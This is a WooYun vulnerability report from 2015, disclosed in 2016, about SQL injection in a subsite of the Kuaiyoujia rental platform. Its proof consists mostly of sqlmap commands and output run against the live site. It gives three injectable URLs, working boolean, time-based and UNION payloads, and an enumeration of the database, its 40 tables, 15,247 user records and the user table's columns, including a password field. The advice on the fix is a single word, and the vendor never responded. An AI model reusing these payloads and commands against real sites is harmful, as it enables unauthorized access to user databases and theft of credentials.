当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0163433

漏洞标题:快有家房东直租网分站,多处SQL注入,涉及上万用户信息泄露

相关厂商:快有家房东直租网

漏洞作者: Trail-Say

提交时间:2015-12-23 14:49

修复时间:2016-02-06 10:45

公开时间:2016-02-06 10:45

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-02-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

一天下班的路上,看到了你们的广告......好贵!!!

详细说明:

【北上广不相信眼泪,呜呜~~~】

漏洞证明:

漏洞在分站【快有家之一元划算】
可注射的URL

http://1.kuaiyoujia.com/shareShow/productInfoShareListByProductId.action?id=163&pageNo=0
http://1.kuaiyoujia.com/user/getCityList.html?id=1
http://1.kuaiyoujia.com/user/getDistrictList.html?id=1


查看数据库

E:\Python27\sqlmap>sqlmap.py -u "http://1.kuaiyoujia.com/user/getDistrictList.html?id=1" --current-db --time-sec 15
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201512100967}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:16:33
[10:16:34] [INFO] testing connection to the target URL
[10:16:34] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[10:16:34] [INFO] testing if the target URL is stable
[10:16:35] [INFO] target URL is stable
[10:16:35] [INFO] testing if GET parameter 'id' is dynamic
[10:16:35] [INFO] confirming that GET parameter 'id' is dynamic
[10:16:35] [INFO] GET parameter 'id' is dynamic
[10:16:35] [ERROR] possible integer casting detected (e.g. "$id=intval($_REQUEST['id'])") at the back-end web application
do you want to skip those kind of cases (and save scanning time)? [y/N] n
[10:16:37] [INFO] testing for SQL injection on GET parameter 'id'
[10:16:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:16:37] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[10:16:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[10:16:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:16:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[10:16:37] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:16:37] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[10:16:37] [INFO] testing 'MySQL inline queries'
[10:16:37] [INFO] testing 'PostgreSQL inline queries'
[10:16:37] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[10:16:38] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[10:16:38] [WARNING] time-based comparison requires larger statistical model, please wait......
[10:16:38] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[10:16:38] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[10:16:38] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[10:16:38] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[10:17:08] [INFO] GET parameter 'id' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[10:17:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:17:23] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[10:17:23] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[10:17:23] [INFO] target URL appears to have 3 columns in query
[10:17:23] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 40 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 2744=2744 AND 'fAqC'='fAqC
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=1' AND (SELECT * FROM (SELECT(SLEEP(15)))kCKh) AND 'fXpL'='fXpL
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x716a767a71,0x624d6f6c65547457694c4b56496554784c6953615954584e76656c64424662684d786b4e5371546a,0x71626a6271),NULL-- -
---
[10:17:26] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[10:17:26] [INFO] fetching current database
[10:17:26] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries)
[10:17:26] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[10:17:26] [INFO] retrieved: joe
current database: 'joe'


E:\Python27\sqlmap>sqlmap.py -u "http://1.kuaiyoujia.com/shareShow/productInfoShareListByProductId.action?id=163&pageNo=0" -D "joe" --tables --time-sec 10
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201512100967}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:31:23
[10:31:24] [INFO] resuming back-end DBMS 'mysql'
[10:31:33] [INFO] testing connection to the target URL
[10:31:34] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=163 AND (SELECT * FROM (SELECT(SLEEP(10)))GzWY)&pageNo=0
---
[10:31:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[10:31:34] [INFO] fetching tables for database: 'joe'
[10:31:34] [INFO] fetching number of tables for database 'joe'
[10:31:34] [INFO] resumed: 40
[10:31:34] [INFO] resumed: applymention
[10:31:34] [INFO] resumed: auctionproduct
[10:31:34] [INFO] resumed: auctionrecord
[10:31:34] [INFO] resumed: cardpassword
[10:31:34] [INFO] resumed: collectproduct
[10:31:34] [INFO] resumed: commissionpoints
[10:31:34] [INFO] resumed: commissionquery
[10:31:34] [INFO] resumed: consumerdetail
[10:31:34] [INFO] resumed: consumetable
[10:31:34] [INFO] resumed: friends
[10:31:34] [INFO] resumed: index_img
[10:31:34] [INFO] resumed: latestlottery
[10:31:34] [INFO] resumed: lotteryproductutil
[10:31:34] [INFO] resumed: message
[10:31:34] [INFO] resumed: news
[10:31:34] [INFO] resumed: orderdetail
[10:31:34] [INFO] resumed: orderdetailaddress
[10:31:34] [INFO] resumed: orderid
[10:31:34] [INFO] resumed: product
[10:31:34] [INFO] resumed: productimage
[10:31:34] [INFO] resumed: producttype
[10:31:34] [INFO] resumed: qqgroup
[10:31:34] [INFO] resumed: randomnumber
[10:31:34] [INFO] resumed: recommend
[10:31:34] [INFO] resumed: s_city
[10:31:34] [INFO] resumed: s_district
[10:31:34] [INFO] resumed: s_province
[10:31:34] [INFO] resumed: sharecomments
[10:31:34] [INFO] resumed: shareimage
[10:31:34] [INFO] resumed: shareinfo
[10:31:34] [INFO] resumed: spellbuyproduct
[10:31:34] [INFO] resumed: spellbuyproduct_20151205
[10:31:34] [INFO] resumed: spellbuyrecord
[10:31:34] [INFO] resumed: suggestion
[10:31:34] [INFO] resumed: sys_configure
[10:31:34] [INFO] resumed: t_promotion
[10:31:34] [INFO] resumed: t_spellbuyrecordstat
[10:31:34] [INFO] resumed: user
[10:31:34] [INFO] resumed: userbyaddress
[10:31:34] [INFO] resumed: visitors
Database: joe
[40 tables]
+--------------------------+
| user |
| applymention |
| auctionproduct |
| auctionrecord |
| cardpassword |
| collectproduct |
| commissionpoints |
| commissionquery |
| consumerdetail |
| consumetable |
| friends |
| index_img |
| latestlottery |
| lotteryproductutil |
| message |
| news |
| orderdetail |
| orderdetailaddress |
| orderid |
| product |
| productimage |
| producttype |
| qqgroup |
| randomnumber |
| recommend |
| s_city |
| s_district |
| s_province |
| sharecomments |
| shareimage |
| shareinfo |
| spellbuyproduct |
| spellbuyproduct_20151205 |
| spellbuyrecord |
| suggestion |
| sys_configure |
| t_promotion |
| t_spellbuyrecordstat |
| userbyaddress |
| visitors |
+--------------------------+


查看用户数

E:\Python27\sqlmap>sqlmap.py -u "http://1.kuaiyoujia.com/shareShow/productInfoShareListByProductId.action?id=163&pageNo=0" -D "joe" -T "user" --count --time-sec 10
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201512100967}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:32:57
[10:32:58] [INFO] resuming back-end DBMS 'mysql'
[10:32:58] [INFO] testing connection to the target URL
[10:32:58] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=163 AND (SELECT * FROM (SELECT(SLEEP(10)))GzWY)&pageNo=0
---
[10:32:58] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[10:32:58] [INFO] resumed: 15247
Database: joe
+--------+---------+
| Table | Entries |
+--------+---------+
| `user` | 15247 |
+--------+---------+


E:\Python27\sqlmap>sqlmap.py -u "http://1.kuaiyoujia.com/shareShow/productInfoShareListByProductId.action?id=163&pageNo=0" --columns -D "joe" -T "user" --time-sec 10
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201512100967}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:34:42
[10:34:43] [INFO] resuming back-end DBMS 'mysql'
[10:34:43] [INFO] testing connection to the target URL
[10:34:43] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=163 AND (SELECT * FROM (SELECT(SLEEP(10)))GzWY)&pageNo=0
---
[10:34:43] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[10:34:43] [INFO] fetching columns for table 'user' in database 'joe'
[10:34:43] [INFO] resumed: 36
[10:34:43] [INFO] resumed: userid
[10:34:43] [INFO] resumed: int(11)
[10:34:43] [INFO] resumed: userName
[10:34:43] [INFO] resumed: varchar(32)
[10:34:43] [INFO] resumed: userPwd
[10:34:43] [INFO] resuming partial value: v
[10:34:43] [WARNING] time-based comparison requires larger statistical model, please wait..............................


延迟注入,跑数据比较慢,我就不跑具体数据了!

修复方案:

过滤!
ps;有没有小礼物?

版权声明:转载请注明来源 Trail-Say@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝